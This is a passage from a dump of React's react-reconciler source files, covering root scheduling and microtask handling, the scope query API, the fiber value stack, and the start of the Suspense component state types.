ContinuousEventPriority,\n  DefaultEventPriority,\n  IdleEventPriority,\n  lanesToEventPriority,\n} from './ReactEventPriorities';\nimport {\n  supportsMicrotasks,\n  scheduleMicrotask,\n  shouldAttemptEagerTransition,\n  trackSchedulerEvent,\n  noTimeout,\n} from './ReactFiberConfig';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {\n  resetNestedUpdateFlag,\n  syncNestedUpdateFlag,\n} from './ReactProfilerTimer';\nimport {peekEntangledActionLane} from './ReactFiberAsyncAction';\n\nimport noop from 'shared/noop';\nimport reportGlobalError from 'shared/reportGlobalError';\n\nimport {\n  startIsomorphicDefaultIndicatorIfNeeded,\n  hasOngoingIsomorphicIndicator,\n  retainIsomorphicIndicator,\n  markIsomorphicIndicatorHandled,\n} from './ReactFiberAsyncAction';\n\n// A linked list of all the roots with pending work. In an idiomatic app,\n// there's only a single root, but we do support multi root apps, hence this\n// extra complexity. But this module is optimized for the single root case.\nexport let firstScheduledRoot: FiberRoot | null = null;\nlet lastScheduledRoot: FiberRoot | null = null;\n\n// Used to prevent redundant mircotasks from being scheduled.\nlet didScheduleMicrotask: boolean = false;\n// `act` \"microtasks\" are scheduled on the `act` queue instead of an actual\n// microtask, so we have to dedupe those separately. This wouldn't be an issue\n// if we required all `act` calls to be awaited, which we might in the future.\nlet didScheduleMicrotask_act: boolean = false;\n\n// Used to quickly bail out of flushSync if there's no sync work to do.\nlet mightHavePendingSyncWork: boolean = false;\n\nlet isFlushingWork: boolean = false;\n\nlet currentEventTransitionLane: Lane = NoLane;\n\nexport function ensureRootIsScheduled(root: FiberRoot): void {\n  // This function is called whenever a root receives an update. It does two\n  // things 1) it ensures the root is in the root schedule, and 2) it ensures\n  // there's a pending microtask to process the root schedule.\n  //\n  // Most of the actual scheduling logic does not happen until\n  // `scheduleTaskForRootDuringMicrotask` runs.\n\n  // Add the root to the schedule\n  if (root === lastScheduledRoot || root.next !== null) {\n    // Fast path. This root is already scheduled.\n  } else {\n    if (lastScheduledRoot === null) {\n      firstScheduledRoot = lastScheduledRoot = root;\n    } else {\n      lastScheduledRoot.next = root;\n      lastScheduledRoot = root;\n    }\n  }\n\n  // Any time a root received an update, we set this to true until the next time\n  // we process the schedule. If it's false, then we can quickly exit flushSync\n  // without consulting the schedule.\n  mightHavePendingSyncWork = true;\n\n  ensureScheduleIsScheduled();\n\n  if (\n    __DEV__ &&\n    !disableLegacyMode &&\n    ReactSharedInternals.isBatchingLegacy &&\n    root.tag === LegacyRoot\n  ) {\n    // Special `act` case: Record whenever a legacy update is scheduled.\n    ReactSharedInternals.didScheduleLegacyUpdate = true;\n  }\n}\n\nexport function ensureScheduleIsScheduled(): void {\n  // At the end of the current event, go through each of the roots and ensure\n  // there's a task scheduled for each one at the correct priority.\n  if (__DEV__ && ReactSharedInternals.actQueue !== null) {\n    // We're inside an `act` scope.\n    if (!didScheduleMicrotask_act) {\n      didScheduleMicrotask_act = true;\n      scheduleImmediateRootScheduleTask();\n    }\n  } else {\n    if (!didScheduleMicrotask) {\n      didScheduleMicrotask = true;\n      scheduleImmediateRootScheduleTask();\n    }\n  }\n}\n\nexport function flushSyncWorkOnAllRoots() {\n  // This is allowed to be called synchronously, but the caller should check\n  // the execution context first.\n  flushSyncWorkAcrossRoots_impl(NoLanes, false);\n}\n\nexport function flushSyncWorkOnLegacyRootsOnly() {\n  // This is allowed to be called synchronously, but the caller should check\n  // the execution context first.\n  if (!disableLegacyMode) {\n    flushSyncWorkAcrossRoots_impl(NoLanes, true);\n  }\n}\n\nfunction flushSyncWorkAcrossRoots_impl(\n  syncTransitionLanes: Lanes | Lane,\n  onlyLegacy: boolean,\n) {\n  if (isFlushingWork) {\n    // Prevent reentrancy.\n    // TODO: Is this overly defensive? The callers must check the execution\n    // context first regardless.\n    return;\n  }\n\n  if (!mightHavePendingSyncWork) {\n    // Fast path. There's no sync work to do.\n    return;\n  }\n\n  // There may or may not be synchronous work scheduled. Let's check.\n  let didPerformSomeWork;\n  isFlushingWork = true;\n  do {\n    didPerformSomeWork = false;\n    let root = firstScheduledRoot;\n    while (root !== null) {\n      if (onlyLegacy && (disableLegacyMode || root.tag !== LegacyRoot)) {\n        // Skip non-legacy roots.\n      } else {\n        if (syncTransitionLanes !== NoLanes) {\n          const nextLanes = getNextLanesToFlushSync(root, syncTransitionLanes);\n          if (nextLanes !== NoLanes) {\n            // This root has pending sync work. Flush it now.\n            didPerformSomeWork = true;\n            performSyncWorkOnRoot(root, nextLanes);\n          }\n        } else {\n          const workInProgressRoot = getWorkInProgressRoot();\n          const workInProgressRootRenderLanes =\n            getWorkInProgressRootRenderLanes();\n          const rootHasPendingCommit =\n            root.cancelPendingCommit !== null ||\n            root.timeoutHandle !== noTimeout;\n          const nextLanes = getNextLanes(\n            root,\n            root === workInProgressRoot\n              ? workInProgressRootRenderLanes\n              : NoLanes,\n            rootHasPendingCommit,\n          );\n          if (\n            (includesSyncLane(nextLanes) ||\n              (enableGestureTransition && isGestureRender(nextLanes))) &&\n            !checkIfRootIsPrerendering(root, nextLanes)\n          ) {\n            // This root has pending sync work. Flush it now.\n            didPerformSomeWork = true;\n            performSyncWorkOnRoot(root, nextLanes);\n          }\n        }\n      }\n      root = root.next;\n    }\n  } while (didPerformSomeWork);\n  isFlushingWork = false;\n}\n\nfunction processRootScheduleInImmediateTask() {\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // Track the currently executing event if there is one so we can ignore this\n    // event when logging events.\n    trackSchedulerEvent();\n  }\n\n  processRootScheduleInMicrotask();\n}\n\nfunction processRootScheduleInMicrotask() {\n  // This function is always called inside a microtask. It should never be\n  // called synchronously.\n  didScheduleMicrotask = false;\n  if (__DEV__) {\n    didScheduleMicrotask_act = false;\n  }\n\n  // We'll recompute this as we iterate through all the roots and schedule them.\n  mightHavePendingSyncWork = false;\n\n  let syncTransitionLanes = NoLanes;\n  if (currentEventTransitionLane !== NoLane) {\n    if (shouldAttemptEagerTransition()) {\n      // A transition was scheduled during an event, but we're going to try to\n      // render it synchronously anyway. We do this during a popstate event to\n      // preserve the scroll position of the previous page.\n      syncTransitionLanes = currentEventTransitionLane;\n    } else if (enableDefaultTransitionIndicator) {\n      // If we have a Transition scheduled by this event it might be paired\n      // with Default lane scheduled loading indicators. To unbatch it from\n      // other events later on, flush it early to determine whether it\n      // rendered an indicator. This ensures that setState in default priority\n      // event doesn't trigger onDefaultTransitionIndicator.\n      syncTransitionLanes = DefaultLane;\n    }\n  }\n\n  const currentTime = now();\n\n  let prev = null;\n  let root = firstScheduledRoot;\n  while (root !== null) {\n    const next = root.next;\n    const nextLanes = scheduleTaskForRootDuringMicrotask(root, currentTime);\n    if (nextLanes === NoLane) {\n      // This root has no more pending work. Remove it from the schedule. To\n      // guard against subtle reentrancy bugs, this microtask is the only place\n      // we do this — you can add roots to the schedule whenever, but you can\n      // only remove them here.\n\n      // Null this out so we know it's been removed from the schedule.\n      root.next = null;\n      if (prev === null) {\n        // This is the new head of the list\n        firstScheduledRoot = next;\n      } else {\n        prev.next = next;\n      }\n      if (next === null) {\n        // This is the new tail of the list\n        lastScheduledRoot = prev;\n      }\n    } else {\n      // This root still has work. Keep it in the list.\n      prev = root;\n\n      // This is a fast-path optimization to early exit from\n      // flushSyncWorkOnAllRoots if we can be certain that there is no remaining\n      // synchronous work to perform. Set this to true if there might be sync\n      // work left.\n      if (\n        // Skip the optimization if syncTransitionLanes is set\n        syncTransitionLanes !== NoLanes ||\n        // Common case: we're not treating any extra lanes as synchronous, so we\n        // can just check if the next lanes are sync.\n        includesSyncLane(nextLanes) ||\n        (enableGestureTransition && isGestureRender(nextLanes))\n      ) {\n        mightHavePendingSyncWork = true;\n      }\n    }\n    root = next;\n  }\n\n  // At the end of the microtask, flush any pending synchronous work. This has\n  // to come at the end, because it does actual rendering work that might throw.\n  // If we're in the middle of a View Transition async sequence, we don't want to\n  // interrupt that sequence. Instead, we'll flush any remaining work when it\n  // completes.\n  if (!hasPendingCommitEffects()) {\n    flushSyncWorkAcrossRoots_impl(syncTransitionLanes, false);\n  }\n\n  if (currentEventTransitionLane !== NoLane) {\n    // Reset Event Transition Lane so that we allocate a new one next time.\n    currentEventTransitionLane = NoLane;\n    startDefaultTransitionIndicatorIfNeeded();\n  }\n}\n\nfunction startDefaultTransitionIndicatorIfNeeded() {\n  if (!enableDefaultTransitionIndicator) {\n    return;\n  }\n  // Check if we need to start an isomorphic indicator like if an async action\n  // was started.\n  startIsomorphicDefaultIndicatorIfNeeded();\n  // Check all the roots if there are any new indicators needed.\n  let root = firstScheduledRoot;\n  while (root !== null) {\n    if (root.indicatorLanes !== NoLanes && root.pendingIndicator === null) {\n      // We have new indicator lanes that requires a loading state. Start the\n      // default transition indicator.\n      if (hasOngoingIsomorphicIndicator()) {\n        // We already have an isomorphic indicator going which means it has to\n        // also apply to this root since it implies all roots have the same one.\n        // We retain this indicator so that it keeps going until we commit this\n        // root.\n        root.pendingIndicator = retainIsomorphicIndicator();\n      } else {\n        try {\n          const onDefaultTransitionIndicator =\n            root.onDefaultTransitionIndicator;\n          root.pendingIndicator = onDefaultTransitionIndicator() || noop;\n        } catch (x) {\n          root.pendingIndicator = noop;\n          reportGlobalError(x);\n        }\n      }\n    }\n    root = root.next;\n  }\n}\n\nfunction scheduleTaskForRootDuringMicrotask(\n  root: FiberRoot,\n  currentTime: number,\n): Lane {\n  // This function is always called inside a microtask, or at the very end of a\n  // rendering task right before we yield to the main thread. It should never be\n  // called synchronously.\n\n  // This function also never performs React work synchronously; it should\n  // only schedule work to be performed later, in a separate task or microtask.\n\n  // Check if any lanes are being starved by other work. If so, mark them as\n  // expired so we know to work on those next.\n  markStarvedLanesAsExpired(root, currentTime);\n\n  // Determine the next lanes to work on, and their priority.\n  const rootWithPendingPassiveEffects = getRootWithPendingPassiveEffects();\n  const pendingPassiveEffectsLanes = getPendingPassiveEffectsLanes();\n  const workInProgressRoot = getWorkInProgressRoot();\n  const workInProgressRootRenderLanes = getWorkInProgressRootRenderLanes();\n  const rootHasPendingCommit =\n    root.cancelPendingCommit !== null || root.timeoutHandle !== noTimeout;\n  const nextLanes =\n    enableYieldingBeforePassive && root === rootWithPendingPassiveEffects\n      ? // This will schedule the callback at the priority of the lane but we used to\n        // always schedule it at NormalPriority. Discrete will flush it sync anyway.\n        // So the only difference is Idle and it doesn't seem necessarily right for that\n        // to get upgraded beyond something important just because we're past commit.\n        pendingPassiveEffectsLanes\n      : getNextLanes(\n          root,\n          root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes,\n          rootHasPendingCommit,\n        );\n\n  const existingCallbackNode = root.callbackNode;\n  if (\n    // Check if there's nothing to work on\n    nextLanes === NoLanes ||\n    // If this root is currently suspended and waiting for data to resolve, don't\n    // schedule a task to render it. We'll either wait for a ping, or wait to\n    // receive an update.\n    //\n    // Suspended render phase\n    (root === workInProgressRoot && isWorkLoopSuspendedOnData()) ||\n    // Suspended commit phase\n    root.cancelPendingCommit !== null\n  ) {\n    // Fast path: There's nothing to work on.\n    if (existingCallbackNode !== null) {\n      cancelCallback(existingCallbackNode);\n    }\n    root.callbackNode = null;\n    root.callbackPriority = NoLane;\n    return NoLane;\n  }\n\n  // Schedule a new callback in the host environment.\n  if (\n    includesSyncLane(nextLanes) &&\n    // If we're prerendering, then we should use the concurrent work loop\n    // even if the lanes are synchronous, so that prerendering never blocks\n    // the main thread.\n    !checkIfRootIsPrerendering(root, nextLanes)\n  ) {\n    // Synchronous work is always flushed at the end of the microtask, so we\n    // don't need to schedule an additional task.\n    if (existingCallbackNode !== null) {\n      cancelCallback(existingCallbackNode);\n    }\n    root.callbackPriority = SyncLane;\n    root.callbackNode = null;\n    return SyncLane;\n  } else {\n    // We use the highest priority lane to represent the priority of the callback.\n    const existingCallbackPriority = root.callbackPriority;\n    const newCallbackPriority = getHighestPriorityLane(nextLanes);\n\n    if (\n      newCallbackPriority === existingCallbackPriority &&\n      // Special case related to `act`. If the currently scheduled task is a\n      // Scheduler task, rather than an `act` task, cancel it and re-schedule\n      // on the `act` queue.\n      !(\n        __DEV__ &&\n        ReactSharedInternals.actQueue !== null &&\n        existingCallbackNode !== fakeActCallbackNode\n      )\n    ) {\n      // The priority hasn't changed. We can reuse the existing task.\n      return newCallbackPriority;\n    } else {\n      // Cancel the existing callback. We'll schedule a new one below.\n      cancelCallback(existingCallbackNode);\n    }\n\n    let schedulerPriorityLevel;\n    switch (lanesToEventPriority(nextLanes)) {\n      // Scheduler does have an \"ImmediatePriority\", but now that we use\n      // microtasks for sync work we no longer use that. Any sync work that\n      // reaches this path is meant to be time sliced.\n      case DiscreteEventPriority:\n      case ContinuousEventPriority:\n        schedulerPriorityLevel = UserBlockingSchedulerPriority;\n        break;\n      case DefaultEventPriority:\n        schedulerPriorityLevel = NormalSchedulerPriority;\n        break;\n      case IdleEventPriority:\n        schedulerPriorityLevel = IdleSchedulerPriority;\n        break;\n      default:\n        schedulerPriorityLevel = NormalSchedulerPriority;\n        break;\n    }\n\n    const newCallbackNode = scheduleCallback(\n      schedulerPriorityLevel,\n      performWorkOnRootViaSchedulerTask.bind(null, root),\n    );\n\n    root.callbackPriority = newCallbackPriority;\n    root.callbackNode = newCallbackNode;\n    return newCallbackPriority;\n  }\n}\n\ntype RenderTaskFn = (didTimeout: boolean) => RenderTaskFn | null;\n\nfunction performWorkOnRootViaSchedulerTask(\n  root: FiberRoot,\n  didTimeout: boolean,\n): RenderTaskFn | null {\n  // This is the entry point for concurrent tasks scheduled via Scheduler (and\n  // postTask, in the future).\n\n  if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {\n    resetNestedUpdateFlag();\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // Track the currently executing event if there is one so we can ignore this\n    // event when logging events.\n    trackSchedulerEvent();\n  }\n\n  if (hasPendingCommitEffects()) {\n    // We are currently in the middle of an async committing (such as a View Transition).\n    // We could force these to flush eagerly but it's better to defer any work until\n    // it finishes. This may not be the same root as we're waiting on.\n    // TODO: This relies on the commit eventually calling ensureRootIsScheduled which\n    // always calls processRootScheduleInMicrotask which in turn always loops through\n    // all the roots to figure out. This is all a bit inefficient and if optimized\n    // it'll need to consider rescheduling a task for any skipped roots.\n    root.callbackNode = null;\n    root.callbackPriority = NoLane;\n    return null;\n  }\n\n  // Flush any pending passive effects before deciding which lanes to work on,\n  // in case they schedule additional work.\n  const originalCallbackNode = root.callbackNode;\n  const didFlushPassiveEffects = flushPendingEffectsDelayed();\n  if (didFlushPassiveEffects) {\n    // Something in the passive effect phase may have canceled the current task.\n    // Check if the task node for this root was changed.\n    if (root.callbackNode !== originalCallbackNode) {\n      // The current task was canceled. Exit. We don't need to call\n      // `ensureRootIsScheduled` because the check above implies either that\n      // there's a new task, or that there's no remaining work on this root.\n      return null;\n    } else {\n      // Current task was not canceled. Continue.\n    }\n  }\n\n  // Determine the next lanes to work on, using the fields stored on the root.\n  // TODO: We already called getNextLanes when we scheduled the callback; we\n  // should be able to avoid calling it again by stashing the result on the\n  // root object. However, because we always schedule the callback during\n  // a microtask (scheduleTaskForRootDuringMicrotask), it's possible that\n  // an update was scheduled earlier during this same browser task (and\n  // therefore before the microtasks have run). That's because Scheduler batches\n  // together multiple callbacks into a single browser macrotask, without\n  // yielding to microtasks in between. We should probably change this to align\n  // with the postTask behavior (and literally use postTask when\n  // it's available).\n  const workInProgressRoot = getWorkInProgressRoot();\n  const workInProgressRootRenderLanes = getWorkInProgressRootRenderLanes();\n  const rootHasPendingCommit =\n    root.cancelPendingCommit !== null || root.timeoutHandle !== noTimeout;\n  const lanes = getNextLanes(\n    root,\n    root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes,\n    rootHasPendingCommit,\n  );\n  if (lanes === NoLanes) {\n    // No more work on this root.\n    return null;\n  }\n\n  // Enter the work loop.\n  // TODO: We only check `didTimeout` defensively, to account for a Scheduler\n  // bug we're still investigating. Once the bug in Scheduler is fixed,\n  // we can remove this, since we track expiration ourselves.\n  const forceSync = !disableSchedulerTimeoutInWorkLoop && didTimeout;\n  performWorkOnRoot(root, lanes, forceSync);\n\n  // The work loop yielded, but there may or may not be work left at the current\n  // priority. Need to determine whether we need to schedule a continuation.\n  // Usually `scheduleTaskForRootDuringMicrotask` only runs inside a microtask;\n  // however, since most of the logic for determining if we need a continuation\n  // versus a new task is the same, we cheat a bit and call it here. This is\n  // only safe to do because we know we're at the end of the browser task.\n  // So although it's not an actual microtask, it might as well be.\n  scheduleTaskForRootDuringMicrotask(root, now());\n  if (root.callbackNode != null && root.callbackNode === originalCallbackNode) {\n    // The task node scheduled for this root is the same one that's\n    // currently executed. Need to return a continuation.\n    return performWorkOnRootViaSchedulerTask.bind(null, root);\n  }\n  return null;\n}\n\nfunction performSyncWorkOnRoot(root: FiberRoot, lanes: Lanes) {\n  // This is the entry point for synchronous tasks that don't go\n  // through Scheduler.\n  const didFlushPassiveEffects = flushPendingEffects();\n  if (didFlushPassiveEffects) {\n    // If passive effects were flushed, exit to the outer work loop in the root\n    // scheduler, so we can recompute the priority.\n    return null;\n  }\n  if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {\n    syncNestedUpdateFlag();\n  }\n  const forceSync = true;\n  performWorkOnRoot(root, lanes, forceSync);\n}\n\nconst fakeActCallbackNode = {};\n\nfunction scheduleCallback(\n  priorityLevel: PriorityLevel,\n  callback: RenderTaskFn,\n) {\n  if (__DEV__ && ReactSharedInternals.actQueue !== null) {\n    // Special case: We're inside an `act` scope (a testing utility).\n    // Instead of scheduling work in the host environment, add it to a\n    // fake internal queue that's managed by the `act` implementation.\n    ReactSharedInternals.actQueue.push(callback);\n    return fakeActCallbackNode;\n  } else {\n    return Scheduler_scheduleCallback(priorityLevel, callback);\n  }\n}\n\nfunction cancelCallback(callbackNode: mixed) {\n  if (__DEV__ && callbackNode === fakeActCallbackNode) {\n    // Special `act` case: check if this is the fake callback node used by\n    // the `act` implementation.\n  } else if (callbackNode !== null) {\n    Scheduler_cancelCallback(callbackNode);\n  }\n}\n\nfunction scheduleImmediateRootScheduleTask() {\n  if (__DEV__ && ReactSharedInternals.actQueue !== null) {\n    // Special case: Inside an `act` scope, we push microtasks to the fake `act`\n    // callback queue. This is because we currently support calling `act`\n    // without awaiting the result. The plan is to deprecate that, and require\n    // that you always await the result so that the microtasks have a chance to\n    // run. But it hasn't happened yet.\n    ReactSharedInternals.actQueue.push(() => {\n      processRootScheduleInMicrotask();\n      return null;\n    });\n  }\n\n  // TODO: Can we land supportsMicrotasks? Which environments don't support it?\n  // Alternatively, can we move this check to the host config?\n  if (supportsMicrotasks) {\n    scheduleMicrotask(() => {\n      // In Safari, appending an iframe forces microtasks to run.\n      // https://github.com/facebook/react/issues/22459\n      // We don't support running callbacks in the middle of render\n      // or commit so we need to check against that.\n      const executionContext = getExecutionContext();\n      if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {\n        // Note that this would still prematurely flush the callbacks\n        // if this happens outside render or commit phase (e.g. in an event).\n\n        // Intentionally using a macrotask instead of a microtask here. This is\n        // wrong semantically but it prevents an infinite loop. The bug is\n        // Safari's, not ours, so we just do our best to not crash even though\n        // the behavior isn't completely correct.\n        Scheduler_scheduleCallback(\n          ImmediateSchedulerPriority,\n          processRootScheduleInImmediateTask,\n        );\n        return;\n      }\n      processRootScheduleInMicrotask();\n    });\n  } else {\n    // If microtasks are not supported, use Scheduler.\n    Scheduler_scheduleCallback(\n      ImmediateSchedulerPriority,\n      processRootScheduleInImmediateTask,\n    );\n  }\n}\n\nexport function requestTransitionLane(\n  // This argument isn't used, it's only here to encourage the caller to\n  // check that it's inside a transition before calling this function.\n  // TODO: Make this non-nullable. Requires a tweak to useOptimistic.\n  transition: Transition | null,\n): Lane {\n  // The algorithm for assigning an update to a lane should be stable for all\n  // updates at the same priority within the same event. To do this, the\n  // inputs to the algorithm must be the same.\n  //\n  // The trick we use is to cache the first of each of these inputs within an\n  // event. Then reset the cached values once we can be sure the event is\n  // over. Our heuristic for that is whenever we enter a concurrent work loop.\n  if (currentEventTransitionLane === NoLane) {\n    // All transitions within the same event are assigned the same lane.\n    const actionScopeLane = peekEntangledActionLane();\n    currentEventTransitionLane =\n      actionScopeLane !== NoLane\n        ? // We're inside an async action scope. Reuse the same lane.\n          actionScopeLane\n        : // We may or may not be inside an async action scope. If we are, this\n          // is the first update in that scope. Either way, we need to get a\n          // fresh transition lane.\n          claimNextTransitionUpdateLane();\n  }\n  return currentEventTransitionLane;\n}\n\nexport function didCurrentEventScheduleTransition(): boolean {\n  return currentEventTransitionLane !== NoLane;\n}\n\nexport function markIndicatorHandled(root: FiberRoot): void {\n  if (enableDefaultTransitionIndicator) {\n    // The current transition event rendered a synchronous loading state.\n    // Clear it from the indicator lanes. We don't need to show a separate\n    // loading state for this lane.\n    root.indicatorLanes &= ~currentEventTransitionLane;\n    markIsomorphicIndicatorHandled();\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberScope.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {\n  ReactScopeInstance,\n  ReactContext,\n  ReactScopeQuery,\n} from 'shared/ReactTypes';\n\nimport {\n  getPublicInstance,\n  getInstanceFromNode,\n  getInstanceFromScope,\n} from './ReactFiberConfig';\nimport {isFiberSuspenseAndTimedOut} from './ReactFiberTreeReflection';\n\nimport {HostComponent, ScopeComponent, ContextProvider} from './ReactWorkTags';\nimport {enableScopeAPI} from 'shared/ReactFeatureFlags';\n\nfunction getSuspenseFallbackChild(fiber: Fiber): Fiber | null {\n  return ((((fiber.child: any): Fiber).sibling: any): Fiber).child;\n}\n\nconst emptyObject = {};\n\nfunction collectScopedNodes(\n  node: Fiber,\n  fn: ReactScopeQuery,\n  scopedNodes: Array<any>,\n): void {\n  if (enableScopeAPI) {\n    if (node.tag === HostComponent) {\n      const {type, memoizedProps, stateNode} = node;\n      const instance = getPublicInstance(stateNode);\n      if (\n        instance !== null &&\n        fn(type, memoizedProps || emptyObject, instance) === true\n      ) {\n        scopedNodes.push(instance);\n      }\n    }\n    let child = node.child;\n\n    if (isFiberSuspenseAndTimedOut(node)) {\n      child = getSuspenseFallbackChild(node);\n    }\n    if (child !== null) {\n      collectScopedNodesFromChildren(child, fn, scopedNodes);\n    }\n  }\n}\n\nfunction collectFirstScopedNode(\n  node: Fiber,\n  fn: ReactScopeQuery,\n): null | Object {\n  if (enableScopeAPI) {\n    if (node.tag === HostComponent) {\n      const {type, memoizedProps, stateNode} = node;\n      const instance = getPublicInstance(stateNode);\n      if (instance !== null && fn(type, memoizedProps, instance) === true) {\n        return instance;\n      }\n    }\n    let child = node.child;\n\n    if (isFiberSuspenseAndTimedOut(node)) {\n      child = getSuspenseFallbackChild(node);\n    }\n    if (child !== null) {\n      return collectFirstScopedNodeFromChildren(child, fn);\n    }\n  }\n  return null;\n}\n\nfunction collectScopedNodesFromChildren(\n  startingChild: Fiber,\n  fn: ReactScopeQuery,\n  scopedNodes: Array<any>,\n): void {\n  let child: null | Fiber = startingChild;\n  while (child !== null) {\n    collectScopedNodes(child, fn, scopedNodes);\n    child = child.sibling;\n  }\n}\n\nfunction collectFirstScopedNodeFromChildren(\n  startingChild: Fiber,\n  fn: ReactScopeQuery,\n): Object | null {\n  let child: null | Fiber = startingChild;\n  while (child !== null) {\n    const scopedNode = collectFirstScopedNode(child, fn);\n    if (scopedNode !== null) {\n      return scopedNode;\n    }\n    child = child.sibling;\n  }\n  return null;\n}\n\nfunction collectNearestContextValues<T>(\n  node: Fiber,\n  context: ReactContext<T>,\n  childContextValues: Array<T>,\n): void {\n  if (node.tag === ContextProvider && node.type === context) {\n    const contextValue = node.memoizedProps.value;\n    childContextValues.push(contextValue);\n  } else {\n    let child = node.child;\n\n    if (isFiberSuspenseAndTimedOut(node)) {\n      child = getSuspenseFallbackChild(node);\n    }\n    if (child !== null) {\n      collectNearestChildContextValues(child, context, childContextValues);\n    }\n  }\n}\n\nfunction collectNearestChildContextValues<T>(\n  startingChild: Fiber | null,\n  context: ReactContext<T>,\n  childContextValues: Array<T>,\n): void {\n  let child = startingChild;\n  while (child !== null) {\n    collectNearestContextValues(child, context, childContextValues);\n    child = child.sibling;\n  }\n}\n\nfunction DO_NOT_USE_queryAllNodes(\n  this: $FlowFixMe,\n  fn: ReactScopeQuery,\n): null | Array<Object> {\n  const currentFiber = getInstanceFromScope(this);\n  if (currentFiber === null) {\n    return null;\n  }\n  const child = currentFiber.child;\n  const scopedNodes: Array<any> = [];\n  if (child !== null) {\n    collectScopedNodesFromChildren(child, fn, scopedNodes);\n  }\n  return scopedNodes.length === 0 ? null : scopedNodes;\n}\n\nfunction DO_NOT_USE_queryFirstNode(\n  this: $FlowFixMe,\n  fn: ReactScopeQuery,\n): null | Object {\n  const currentFiber = getInstanceFromScope(this);\n  if (currentFiber === null) {\n    return null;\n  }\n  const child = currentFiber.child;\n  if (child !== null) {\n    return collectFirstScopedNodeFromChildren(child, fn);\n  }\n  return null;\n}\n\nfunction containsNode(this: $FlowFixMe, node: Object): boolean {\n  let fiber = getInstanceFromNode(node);\n  while (fiber !== null) {\n    if (fiber.tag === ScopeComponent && fiber.stateNode === this) {\n      return true;\n    }\n    fiber = fiber.return;\n  }\n  return false;\n}\n\nfunction getChildContextValues<T>(\n  this: $FlowFixMe,\n  context: ReactContext<T>,\n): Array<T> {\n  const currentFiber = getInstanceFromScope(this);\n  if (currentFiber === null) {\n    return [];\n  }\n  const child = currentFiber.child;\n  const childContextValues: Array<T> = [];\n  if (child !== null) {\n    collectNearestChildContextValues(child, context, childContextValues);\n  }\n  return childContextValues;\n}\n\nexport function createScopeInstance(): ReactScopeInstance {\n  return {\n    DO_NOT_USE_queryAllNodes,\n    DO_NOT_USE_queryFirstNode,\n    containsNode,\n    getChildContextValues,\n  };\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberShellHydration.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FiberRoot} from './ReactInternalTypes';\nimport type {RootState} from './ReactFiberRoot';\n\n// This is imported by the event replaying implementation in React DOM. It's\n// in a separate file to break a circular dependency between the renderer and\n// the reconciler.\nexport function isRootDehydrated(root: FiberRoot): boolean {\n  const currentState: RootState = root.current.memoizedState;\n  return currentState.isDehydrated;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\n\nexport type StackCursor<T> = {current: T};\n\nconst valueStack: Array<any> = [];\n\nlet fiberStack: Array<Fiber | null>;\n\nif (__DEV__) {\n  fiberStack = [];\n}\n\nlet index = -1;\n\nfunction createCursor<T>(defaultValue: T): StackCursor<T> {\n  return {\n    current: defaultValue,\n  };\n}\n\nfunction pop<T>(cursor: StackCursor<T>, fiber: Fiber): void {\n  if (index < 0) {\n    if (__DEV__) {\n      console.error('Unexpected pop.');\n    }\n    return;\n  }\n\n  if (__DEV__) {\n    if (fiber !== fiberStack[index]) {\n      console.error('Unexpected Fiber popped.');\n    }\n  }\n\n  cursor.current = valueStack[index];\n\n  valueStack[index] = null;\n\n  if (__DEV__) {\n    fiberStack[index] = null;\n  }\n\n  index--;\n}\n\nfunction push<T>(cursor: StackCursor<T>, value: T, fiber: Fiber): void {\n  index++;\n\n  valueStack[index] = cursor.current;\n\n  if (__DEV__) {\n    fiberStack[index] = fiber;\n  }\n\n  cursor.current = value;\n}\nexport {createCursor, pop, push};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberSuspenseComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Wakeable, SuspenseListTailMode} from 'shared/ReactTypes';\nimport type {Fiber} from './ReactInternalTypes';\nimport type {SuspenseInstance} from './ReactFiberConfig';\nimport type {Lane} from './ReactFiberLane';\nimport type {TreeContext} from './ReactFiberTreeContext';\nimport type {CapturedValue} from './ReactCapturedValue';\n\nimport {SuspenseComponent, SuspenseListComponent} from './ReactWorkTags';\nimport {NoFlags, DidCapture} from './ReactFiberFlags';\nimport {\n  isSuspenseInstancePending,\n  isSuspenseInstanceFallback,\n} from './ReactFiberConfig';\n\n// A null SuspenseState represents an unsuspended normal Suspense boundary.\n// A non-null SuspenseState means that it is blocked for one reason or another.\n// - A non-null dehydrated field means it's blocked pending hydration.\n//   - A non-null dehydrated field can use isSuspenseInstancePending or\n//     isSuspenseInstanceFallback to query the reason for being dehydrated.\n// - A null dehydrated field means it's blocked by something suspending and\n//   we're currently showing a fallback instead.\nexport type SuspenseState = {\n  // If this boundary is still dehydrated, we store the SuspenseInstance\n  // here to indicate that it is dehydrated (flag) and for quick access\n  // to check things like isSuspenseInstancePending.\n  dehydrated: null | SuspenseInstance,\n  treeContext: null | TreeContext,\n  // Represents the lane we should attempt to hydrate a dehydrated boundary at.\n  // OffscreenLane is the default for dehydrated boundaries.\n  // NoLane is the default for normal boundaries, which turns into \"normal\" pri.\n  retryLane: Lane,\n  // Stashed Errors that happened while attempting to hydrate this boundary.\n  hydrationErrors: Array<CapturedValue<mixed>> | null,\n};\n\nexport type 